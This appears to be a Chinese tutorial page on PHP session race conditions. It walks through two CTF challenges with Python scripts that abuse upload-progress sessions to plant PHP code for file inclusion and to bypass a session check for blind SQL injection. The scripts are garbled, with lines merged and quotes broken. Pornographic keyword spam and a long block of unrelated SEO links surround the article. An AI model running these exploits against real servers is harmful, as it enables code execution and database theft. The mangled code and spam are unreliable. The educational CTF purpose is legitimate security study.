电脑知识|欧美黑人一区二区三区|软件|欧美黑人一级爽快片淫片高清|系统|欧美黑人狂野猛交老妇|数据库|服务器|编程开发|网络运营|知识问答|技术教程文章 - 好吧啦网

您的位置:首頁技術文章
文章詳情頁

PHP Session條件競爭超詳細講解

瀏覽:32日期:2022-06-06 11:46:52

PHP SESSION 的存儲

Session會話存儲方式

PHP將session以文件的形式存儲服務器的文件中,session.save_path來控制

默認路徑

/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

session文件默認是/var/lib/php/sessions目錄下,文件名是sess_加上sessionID字段

但是在賽題中大多數(shù)都是/tmp目錄下,需要php.ini力sesion.auto_start設置為1,然后修改目錄

session.auto_start:如果開啟這個選項,則PHP在接收請求的時候會自動初始化Session,不再需要執(zhí)行session_start()。但默認情況下,也是通常情況下,這個選項都是默認關閉的。

session.upload_progress.cleanup = on:表示當文件上傳結束后,php將會立即清空對應session文件中的內(nèi)容。該選項默認開啟

session.use_strict_mode:默認情況下,該選項的值是0,此時用戶可以自己定義Session ID。

使用 Python 實現(xiàn)創(chuàng)建 Session 文件的過程:

import ioimport requestsimport threadingsessid = "whoami"def POST(session):    f = io.BytesIO(b"a" * 1024 * 50)    session.post("http://192.168.43.82/index.php",data={"PHP_SESSION_UPLOAD_PROGRESS":"123"},  //用來改變session中的值files={"file":("q.txt", f)},cookies={"PHPSESSID":sessid} //用來sesssion中的文件名  sess_whoami    )with requests.session() as session:    while True:POST(session)print("[+] 成功寫入sess_whoami")

[WMCTF2020]Make PHP Great Again

<?phphighlight_file(__FILE__);require_once "flag.php";if(isset($_GET["file"])) {  require_once $_GET["file"];}

這道題是文件包含,已經(jīng)包含過了一次flag.php,就不能二次包含了,一種方法是軟連接/proc/self/root繞過

/proc/self指向當前進程的/proc/pid/

/proc/self/root/是指向/的符號鏈接

這道題也可以 用條件競爭進行,

import ioimport sysimport requestsimport threadinghost = "http://6417a062-bc49-48f8-bbad-2b203887ba46.node4.buuoj.cn:81/"sessid = "feng"def POST(session): while True:  f = io.BytesIO(b"a" * 1024 * 50)  session.post(  host,  data={ # "PHP_SESSION_UPLOAD_PROGRESS":"<?php system("cat flag.php");echo md5("1");?>"},  "PHP_SESSION_UPLOAD_PROGRESS": "<?php phpinfo();echo md5("1");?>"},//session存值  files={  "file":("a.txt", f)},  cookies={   "PHPSESSID":sessid}//改名    )def READ(session): while True:   response = session.get(f"{host}?file=/tmp/sess_{sessid}")//路徑# print(response.text)   if "c4ca4238a0b923820dcc509a6f75849b" not in response.text://1的md5      print("[+++]retry")   else:      print(response.text)      sys.exit(0)with requests.session() as session:  t1 = threading.Thread(target=POST, args=(session, ))//線程可以套循環(huán) 多層線程  t1.daemon = True  //相當完成任務直接結束,不用等線程全部結束  t1.start()  READ(session)

線程結束后,想在網(wǎng)頁獲得php壞境頁面可是找不到,

希望有師傅解答一下,然后這樣就非常局限,

[PwnThyBytes 2019]Baby_SQL

訪問源碼,獲得source.zip

打開后發(fā)現(xiàn)index.php

<?phpsession_start();foreach ($_SESSION as $key => $value): $_SESSION[$key] = filter($value); endforeach;foreach ($_GET as $key => $value): $_GET[$key] = filter($value); endforeach;foreach ($_POST as $key => $value): $_POST[$key] = filter($value); endforeach;foreach ($_REQUEST as $key => $value): $_REQUEST[$key] = filter($value); endforeach;function filter($value){    !is_string($value) AND die("Hacking attempt!");    return addslashes($value);}isset($_GET["p"]) AND $_GET["p"] === "register" AND $_SERVER["REQUEST_METHOD"] === "POST" AND isset($_POST["username"]) AND isset($_POST["password"]) AND @include("templates/register.php");isset($_GET["p"]) AND $_GET["p"] === "login" AND $_SERVER["REQUEST_METHOD"] === "GET" AND isset($_GET["username"]) AND isset($_GET["password"]) AND @include("templates/login.php");isset($_GET["p"]) AND $_GET["p"] === "home" AND @include("templates/home.php");?>

都要經(jīng)過最后的過濾,然后通過傳參p進行包含templates目錄下面的文件

login.php

<?php!isset($_SESSION) AND die("Direct access on this script is not allowed!");include "db.php";$sql = "SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="" . $_GET["username"] . "" and password="" . md5($_GET["password"]) . "";";$result = $con->query($sql);function auth($user){    $_SESSION["username"] = $user;    return True;}($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row["username"]) AND die("<meta http-equiv="refresh" content="0; url=?p=home" />")) OR ($con->close() AND die("Try again!"));?>

發(fā)現(xiàn)就login.php里面沒有過濾,然后

!isset($_SESSION) AND die("Direct access on this script is not allowed!");

意思為如果不存在session就die輸出,前面的為true才執(zhí)行后面的

($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!'));

OR前面是false才執(zhí)行后面的語句。然后這里的意思前面有個大的括號里有一個滿足就會執(zhí)行$con->close(),然后這個執(zhí)行返回true的話就會執(zhí)行die(“Not allowed!”);

所以如果我們要直接訪問login.php進行sql注入的話,還需要帶上一個session才行,這里邊用上了我們的PHP_SESSION_UPLOAD_PROGRESS了。我們可以使用PHP_SESSION_UPLOAD_PROGRESS來在目標服務器上初始化一個session,然后便可以繞過index.php中的檢測,直接訪問login.php進行sql注入了。

import requestsurl = "http://d9cf1c36-45c7-47e2-b0f9-1da95406b5d3.node4.buuoj.cn:81/templates/login.php"http://這個templates是因為login.php在這個目錄下面files = {"file": "123456789"}a = requests.post(url=url, files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},  cookies={"PHPSESSID": "test1"}, params={"username": "test", "password": "test"},  proxies={"http": "http://127.0.0.1:8080"})通過這個接口,burp就可以抓包到print(a.text)

然后對username進行注入,發(fā)現(xiàn)是用"進行閉合,然后回顯,可以用盲注實現(xiàn)

<meta http-equiv="refresh" content="0; url=?p=home" />

import requestsimport timeurl = "http://d8412613-fa2e-4a01-bd02-c0dea96bce33.node4.buuoj.cn:81/templates/login.php"files = {"file": "123456789"}flag=""for i in range(1,100):    low = 32    high = 128    mid = (low+high)//2    while (low < high):time.sleep(0.06)#payload_flag ={"username": "test\" or (ascii(substr((select group_concat(username) from ptbctf ),{0},1))>{1}) #".format(i, mid),"password": "test"}payload_flag = {    "username": "test" or (ascii(substr(database(),{0},1))>{1}) #".format(i,mid),"password": "test"}r = requests.post(url=url,params=payload_flag,files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},  cookies={"PHPSESSID": "test1"}) print(payload_flag)if "<meta http-equiv="refresh" content="0; url=?p=home" />" in r.text:    low = mid +1else:    high = midmid = (low + high) // 2    if(mid==32 ):break    flag +=chr(mid)    print(flag)print(flag)

到此這篇關于PHP Session條件競爭超詳細講解的文章就介紹到這了,更多相關PHP Session內(nèi)容請搜索以前的文章或繼續(xù)瀏覽下面的相關文章希望大家以后多多支持!

標簽: PHP
相關文章:
主站蜘蛛池模板: 模具钢_高速钢_不锈钢-万利钢金属材料| 北京开业庆典策划-年会活动策划公司-舞龙舞狮团大鼓表演-北京盛乾龙狮鼓乐礼仪庆典策划公司 | 武汉刮刮奖_刮刮卡印刷厂_为企业提供门票印刷_武汉合格证印刷_现金劵代金券印刷制作 - 武汉泽雅印刷有限公司 | 恒温恒湿箱(药品/保健品/食品/半导体/细菌)-兰贝石(北京)科技有限公司 | 风化石头制砂机_方解石制砂机_瓷砖石子制砂机_华盛铭厂家 | 成都APP开发-成都App定制-成都app开发公司-【未来久】 | 驾驶人在线_专业学车门户网站 | 除尘器布袋骨架,除尘器滤袋,除尘器骨架,电磁脉冲阀膜片,卸灰阀,螺旋输送机-泊头市天润环保机械设备有限公司 | 超声波成孔成槽质量检测仪-压浆机-桥梁预应力智能张拉设备-上海硕冠检测设备有限公司 | 卫生人才网-中国专业的医疗卫生医学人才网招聘网站! | 检验科改造施工_DSA手术室净化_导管室装修_成都特殊科室建设厂家_医疗净化工程公司_四川华锐 | 外贸网站建设-外贸网站设计制作开发公司-外贸独立站建设【企术】 | 高压绝缘垫-红色配电房绝缘垫-绿色高压绝缘地毯-上海苏海电气 | 网站建设_网站制作_SEO优化推广_百度推广开户_朋友圈网络科技 | 深圳诚暄fpc首页-柔性线路板,fpc柔性线路板打样生产厂家 | 免联考国际MBA_在职MBA报考条件/科目/排名-MBA信息网 | 成都LED显示屏丨室内户外全彩led屏厂家方案报价_四川诺显科技 | 刺绳_刀片刺网_刺丝滚笼_不锈钢刺绳生产厂家_安平县浩荣金属丝网制品有限公司-安平县浩荣金属丝网制品有限公司 | 智成电子深圳tdk一级代理-提供TDK电容电感贴片蜂鸣器磁芯lambda电源代理经销,TDK代理商有哪些TDK一级代理商排名查询。-深圳tdk一级代理 | 电销卡 防封电销卡 不封号电销卡 电话销售卡 白名单电销卡 电销系统 外呼系统 | 海外整合营销-独立站营销-社交媒体运营_广州甲壳虫跨境网络服务 焊管生产线_焊管机组_轧辊模具_焊管设备_焊管设备厂家_石家庄翔昱机械 | 浙江美尔凯特智能厨卫股份有限公司 | 真空吸污车_高压清洗车厂家-程力专用汽车股份有限公司官网 | 【同风运车官网】一站式汽车托运服务平台,验车满意再付款 | 尚为传动-专业高精密蜗轮蜗杆,双导程蜗轮蜗杆,蜗轮蜗杆减速机,蜗杆减速机生产厂家 | 顶空进样器-吹扫捕集仪-热脱附仪-二次热解吸仪-北京华盛谱信仪器 | 合肥弱电工程_安徽安防工程_智能化工程公司-合肥雷润 | Magnescale探规,Magnescale磁栅尺,Magnescale传感器,Magnescale测厚仪,Mitutoyo光栅尺,笔式位移传感器-苏州连达精密量仪有限公司 | 液压扳手-高品质液压扳手供应商 - 液压扳手, 液压扳手供应商, 德国进口液压拉马 | BAUER减速机|ROSSI-MERSEN熔断器-APTECH调压阀-上海爱泽工业设备有限公司 | 精密模具制造,注塑加工,吹塑和吹瓶加工,EPS泡沫包装生产 - 济南兴田塑胶有限公司 | 撕碎机_轮胎破碎机_粉碎机_回收生产线厂家_东莞华达机械有限公司 | 鹤壁创新仪器公司-全自动量热仪,定硫仪,煤炭测硫仪,灰熔点测定仪,快速自动测氢仪,工业分析仪,煤质化验仪器 | 螺钉式热电偶_便携式温度传感器_压簧式热电偶|无锡联泰仪表有限公司|首页 | 合肥仿石砖_合肥pc砖厂家_合肥PC仿石砖_安徽旭坤建材有限公司 | 齿轮减速机_齿轮减速电机-VEMT蜗轮蜗杆减速机马达生产厂家瓦玛特传动瑞环机电 | 新疆乌鲁木齐网站建设-乌鲁木齐网站制作设计-新疆远璨网络 | 杭州双螺杆挤出机-百科| 桁架楼承板-钢筋桁架楼承板-江苏众力达钢筋楼承板厂 | BOE画框屏-触摸一体机-触控查询一体机-触摸屏一体机价格-厂家直销-触发电子 | 上海橡胶接头_弹簧减震器_金属软接头厂家-上海淞江集团 |